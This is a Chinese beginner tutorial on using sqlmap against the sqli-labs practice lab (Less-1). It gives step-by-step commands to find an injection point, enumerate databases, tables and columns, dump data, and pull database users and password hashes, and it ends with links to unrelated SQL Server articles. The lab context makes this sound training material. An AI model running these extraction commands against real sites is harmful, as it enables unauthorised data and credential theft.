SQL注入之sqlmap入門學習
原來sql注入如此簡單
以SQL注入靶場sqli-labs第一關(guān)為例,進行sqlmap工具的使用分享。
一、判斷是否存在注入點
使用命令:
使用命令:sqlmap -u "http://49.232.78.252:83/Less-1/?id=1"
有圖中白色背景的 則判斷出有注入點
二、查詢當前用戶下所有數(shù)據(jù)庫
使用命令:
sqlmap -u "http://49.232.78.252:83/Less-1/?id=1" --dbs
可以看到有五個表
三、獲取數(shù)據(jù)庫中的表名
選取一個challenges數(shù)據(jù)庫,獲取此庫的表名
使用命令:
sqlmap -u "http://49.232.78.252:83/Less-1/?id=1" -D challenges --tables
四、獲取表中的字段名
選取表T5M0QG6FM2,獲取其中字段名
使用命令:
sqlmap -u "http://49.232.78.252:83/Less-1/?id=1" -D challenges -T T5M0QG6FM2 –columns
五、獲取字段內(nèi)容
使用命令:
sqlmap -u "http://49.232.78.252:83/Less-1/?id=1" -D challenges -T T5M0QG6FM2 --columns –dump
六、獲取數(shù)據(jù)庫的所有用戶
使用命令:
sqlmap -u "http://49.232.78.252:83/Less-1/?id=1" –users
使用該命令就可以列出所有管理用戶
七、獲取數(shù)據(jù)庫用戶的密碼
使用命令:
sqlmap -u "http://49.232.78.252:83/Less-1/?id=1" –passwords
八、獲取當前網(wǎng)站數(shù)據(jù)庫的名稱
使用命令:
sqlmap -u "http://49.232.78.252:83/Less-1/?id=1" --current-db
可以看到當前的數(shù)據(jù)庫是 security
九、獲取當前網(wǎng)站數(shù)據(jù)庫的用戶名稱
使用命令:
sqlmap -u "http://49.232.78.252:83/Less-1/?id=1" --current-user
當前用戶是root
到此這篇關(guān)于SQL注入之sqlmap入門學習的文章就介紹到這了,更多相關(guān)sqlmap入門內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
SQL Server中實現(xiàn)數(shù)據(jù)庫的自定義視圖
在SQL Server的數(shù)據(jù)處理和分析中,視圖(View)是一種虛擬的表,其內(nèi)容由SQL查詢定義,自定義視圖允許用戶根據(jù)需要創(chuàng)建個性化的數(shù)據(jù)展示,本文將詳細介紹如何在SQL Server中實現(xiàn)數(shù)據(jù)庫的自定義視圖,需要的朋友可以參考下2024-07-07SQL?Server時間轉(zhuǎn)換3種方法總結(jié)
SQL?Server中處理日期和時間的常用方法有三種:FORMAT、CONVERT和DATEADD,這篇文章主要介紹了SQL?Server時間轉(zhuǎn)換的3種方法,文中通過代碼介紹的非常詳細,需要的朋友可以參考下2024-09-09SQL建立數(shù)據(jù)庫及刪除數(shù)據(jù)庫命令
SQL建立數(shù)據(jù)庫及刪除數(shù)據(jù)庫命令,需要使用sqlserver的朋友可以參考下。2011-11-11更改SQL Server更改當前數(shù)據(jù)庫的所有者:sp_changedbowner
更改SQL Server更改當前數(shù)據(jù)庫的所有者:sp_changedbowner...2007-02-02sql多表行轉(zhuǎn)列、級聯(lián)行轉(zhuǎn)列示例代碼
這篇文章主要介紹了sql多表行轉(zhuǎn)列、級聯(lián)行轉(zhuǎn)列示例代碼,需要的朋友可以參考下2014-03-03